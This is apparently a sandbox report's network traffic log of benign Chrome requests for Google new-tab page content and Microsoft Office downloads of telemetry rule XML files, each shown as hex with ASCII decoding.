2024-11-20 20:05:28 UTC	1390	IN	Data Raw: 68 3f 73 6f 75 72 63 65 5c 75 30 30 33 64 6e 74 70 5c 22 20 74 61 72 67 65 74 5c 75 30 30 33 64 5c 22 5f 74 6f 70 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 Data Ascii: h?source\u003dntp\" target\u003d\"_top\" role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42
2024-11-20 20:05:28 UTC	1390	IN	Data Raw: 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 Data Ascii: ,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0
2024-11-20 20:05:28 UTC	1390	IN	Data Raw: 74 72 6f 6c 2d 6c 61 62 65 6c 30 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 31 35 2c 33 37 30 30 39 34 32 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f Data Ascii: trol-label0","left_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700315,3700942,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_no
2024-11-20 20:05:28 UTC	1202	IN	Data Raw: 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 49 64 3b 5f 2e 47 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 Data Ascii: fier: Apache-2.0\n*/\nvar Id;_.Gd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase
2024-11-20 20:05:28 UTC	488	IN	Data Raw: 31 65 31 0d 0a 48 54 4d 4c 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 62 7d 29 7d 63 61 74 63 68 28 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 55 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 54 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 54 64 5c 75 30 30 33 64 53 64 28 29 29 3b 72 65 74 75 72 6e 20 54 64 7d 3b 5c 6e 5f 2e 57 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 55 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 Data Ascii: 1e1HTML:b,createScript:b,createScriptURL:b})}catch(b){}return a};_.Ud\u003dfunction(){Td\u003d\u003d\u003dvoid 0\u0026\u0026(Td\u003dSd());return Td};\n_.Wd\u003dfunction(a){const b\u003d_.Ud();return new _.Vd(b?b.createScriptURL(a):a)};_.Xd\u003dfuncti
2024-11-20 20:05:28 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 62 65 5c 75 30 30 33 64 Data Ascii: 8000a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.be\u003d
2024-11-20 20:05:28 UTC	1390	IN	Data Raw: 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 6c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6c 65 5b 64 5d 2c 63 29 3a 5f 2e 67 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 67 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 6c 65 5c 75 Data Ascii: on(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:le.hasOwnProperty(d)?a.setAttribute(le[d],c):_.ge(d,\"aria-\")\|\|_.ge(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};le\u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49720	216.58.208.228	443	2044	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:27 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 20:05:28 UTC	933	IN	HTTP/1.1 200 OK Version: 697526041 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 20 Nov 2024 20:05:28 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 20:05:28 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-20 20:05:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:28 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:28 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200528Z-r1d97b9957789nh9hC1TEBxha800000009hg0000000033ez x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:29 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.7	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:28 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:28 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200528Z-1777c6cb754mrj2shC1TEB6k7w0000000a4g00000000nu56 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:29 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:28 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:29 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:28 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 561f43d7-f01e-0096-2f75-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200528Z-178bfbc474bwh9gmhC1NYCy3rs00000000eg000000004x1s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:29 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:28 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:29 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200529Z-r1d97b99577gg97qhC1TEBcrf4000000097g0000000045mk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:29 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:29 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:29 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:29 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: dcd10ac4-401e-0067-337e-3b09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200529Z-r1d97b99577xdmfxhC1TEBqbhg00000000w000000000ram6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:29 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:30 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:31 UTC	498	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:31 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200531Z-r1d97b99577656nchC1TEBk98c00000009f0000000002cng x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-20 20:05:31 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:30 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:31 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200531Z-1777c6cb754wcxkwhC1TEB3c6w0000000a20000000004ts3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
